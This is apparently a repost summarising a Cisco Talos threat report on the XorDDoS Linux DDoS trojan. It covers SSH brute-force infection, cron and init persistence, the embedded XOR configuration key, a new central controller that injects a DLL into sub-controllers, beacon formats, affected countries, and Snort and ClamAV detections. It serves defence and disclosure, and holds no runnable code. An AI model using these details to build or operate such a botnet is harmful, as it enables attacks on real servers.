Cisco Talos has observed the persistent global spread of the Linux XorDDoS trojan, a well-known distributed denial-of-service (DDoS) malware, between November 2023 and February 2025. The XorDDoS trojan has been active since at least 2014 and has significantly increased in prevalence from 2020 to 2023 due to its widespread distribution and an uptick in malicious DNS requests linked to its command-and-control (C2) infrastructure. Talos assesses with high confidence that the operators of XorDDoS are Chinese-speaking individuals, based on the language settings of the multi-layer controller, builder, and binding tool, as well as the simplified Chinese user interface and instructions.

Despite existing security solutions, attempts to deliver XorDDoS malware continue to be observed. A significant finding is the discovery of a new “VIP version” of the XorDDoS controller and a corresponding “central controller”. These new tools are used to build a DDoS bot network capable of executing more sophisticated and widespread attacks. The new versions, particularly the builder, contain new feature descriptions, strengthening the assessment that this collection is a product suite developed for sale. Talos’ analysis aims to expose the network connection patterns between the central controller, sub-controller, and XorDDoS malware to help victims identify when they are targeted. This demonstrates the continued investment by cybercriminals in XorDDoS development and deployment, highlighting the adaptability and resilience of these threat actors and the ongoing challenge in combating this form of cybercrime.

Technical Details

alt text

The XorDDoS trojan is a DDoS malware specifically targeting Linux machines. It turns infected systems into “zombie bots” used to carry out DDoS attacks. Recent activity shows it has expanded its reach beyond commonly exposed Linux machines to include Docker servers.

The primary infection vector observed is Secure Shell (SSH) brute-force attacks. The malware deploys a malicious shell script that attempts numerous root credential combinations against thousands of servers until it successfully gains access to a target Linux device. Once valid SSH credentials are obtained, the attacker leverages root privileges to execute a script that facilitates the download and installation of the XorDDoS malware on the compromised device.

To ensure persistent access and execution, XorDDoS implements persistence mechanisms designed to launch automatically at system startup and evade detection. This is achieved by installing an init script and a cron job script, which are embedded within the malware. The cron job script is configured to run every three minutes.

The XorDDoS malware uses a consistent decryption function and the XOR key “BB2FA36AAA9541F0” to decrypt its embedded configuration, which includes URLs or IP addresses for command and control. These decrypted C2 addresses are added to a remote list used to establish communication and retrieve commands. Talos successfully used CyberChef to decrypt examples of this embedded configuration.

The control flow of the XorDDoS botnet operation involves a multi-layer architecture. Discovered in 2024, a new “VIP” version of the XorDDoS sub-controller is in use. Talos also discovered a new “central controller” designed specifically for the XorDDoS trojan, which allows threat actors to manage multiple XorDDoS controllers simultaneously. This central controller enhances the ability to coordinate and execute attacks more efficiently.

The central controller can generate a controller binder which is used to inject a DLL file into the XorDDoS sub-controller process. This injection binds the network connection and command operation to the sub-controller, enabling the central controller to exert full remote control. When the controller binder is run on a host, the actor can enter the controller’s process name to facilitate injection. This mechanism allows the actor to send DDoS commands to multiple controllers simultaneously.

Observations from the central controller reveal specific features and command logic. The mission list column includes descriptions such as checking the SYN packet length to send large or small packets, performing a “round-robin attack” task on all online hosts, and a “test mode” where a single host sends a packet. It’s noted that multiple measurement modes cannot be selected concurrently. The round-robin attack requires manual stopping. The system supports sending 1024 packets but requires a corresponding sub-controller; older versions (1.4 and 1.8 from the underground market) cannot use the central controller to send 1024 packages. The creator’s Tencent QQ contact number and nickname were also found, reinforcing the assessment that these tools are for sale on the underground market.

Traffic analysis reveals the communication patterns. The connection between the sub-controller and the XorDDoS trojan is represented by the orange line in Figure 11. Upon successful installation, the malware attempts to “phone home” by sending encrypted data including the CRC Header, uname string release, uname string machine, magic string, and hardcoded version string, also using the XOR key “BB2FA36AAA9541F0”. The CRC header remains unchanged from previous versions. After successfully establishing a connection, the CRC header changes to “5343f096000000000200000000000000000000000000000000000000”. This changing CRC header functions as basic client-server authentication and helps the trojan verify that commands issued by the controller are authorized and safe to execute.

The connection between the central controller and the sub-controller is represented by the purple line in Figure 11. Once the controller binder successfully takes control of a sub-controller, it sends the sub-controller’s machine information back to the central controller as a “phone home” beacon. This phone home data between controllers uses plaintext and includes the message number, packet size, IP address, hostname, and connection port. The MSG number in packets increases with each command sent to or received from the central controller, though sent and received MSG numbers are not directly related.

Countries

Between November 2023 and February 2025, the XorDDoS trojan had a global impact. Successfully compromised victims were located in numerous countries, with nearly 50 percent in the United States. Other countries with compromised machines include Japan, Canada, Germany, Italy, Morocco, China, Malaysia, Brazil, Russia, India, Netherlands, and Mexico. Attempted attacks using XorDDoS targeted a wider range of countries, with over 70 percent targeting the United States. Other targeted countries include Spain, the United States, Taiwan, Canada, Japan, Brazil, Paraguay, Argentina, the United Kingdom, the Netherlands, Italy, Ukraine, Germany, Thailand, China, India, Israel, Venezuela, Switzerland, Singapore, Finland, Australia, Saudi Arabia, France, Turkey, the United Arab Emirates, and South Korea.

Industries

The sources specifically mention Linux machines and Docker servers as targets. No specific industries are explicitly mentioned in the provided sources.

Recommendations

The sources highlight several Cisco security solutions that provide protection against the XorDDoS threat:

  • Cisco Secure Endpoint is suitable for preventing the execution of the malware.
  • Cisco Secure Web Appliance helps prevent access to malicious websites, detects malware used in attacks, automatically blocks potentially dangerous sites, and tests suspicious sites.
  • Cisco Secure Email can block malicious emails associated with campaigns.
  • Cisco Secure Firewall appliances can detect malicious activity associated with the threat.
  • Cisco Secure Malware Analytics identifies malicious binaries and builds protection across Cisco Secure products.
  • Umbrella (Cisco’s secure internet gateway) blocks users from connecting to malicious domains, IPs, and URLs.
  • Cisco Duo (Multi-Factor Authentication) helps ensure only authorized users access the network.

Additional protections and context are available from the Firewall Management Center.

Hunting methods

Open-source Snort Subscriber Rule Set customers can stay updated by downloading the latest rule pack. Specific Snort SIDs for this threat are 64669, 64668, and 64667. These SIDs are designed to detect specific network traffic patterns or characteristics associated with the XorDDoS malware. ClamAV detections are also available for this threat. The specific detection name is Unix.Dropper.Xorddos::in07.talos. ClamAV detections are signatures used to identify and detect specific malicious files or patterns within files.

```

Original link: https://blog.talosintelligence.com/unmasking-the-new-xorddos-controller-and-infrastructure/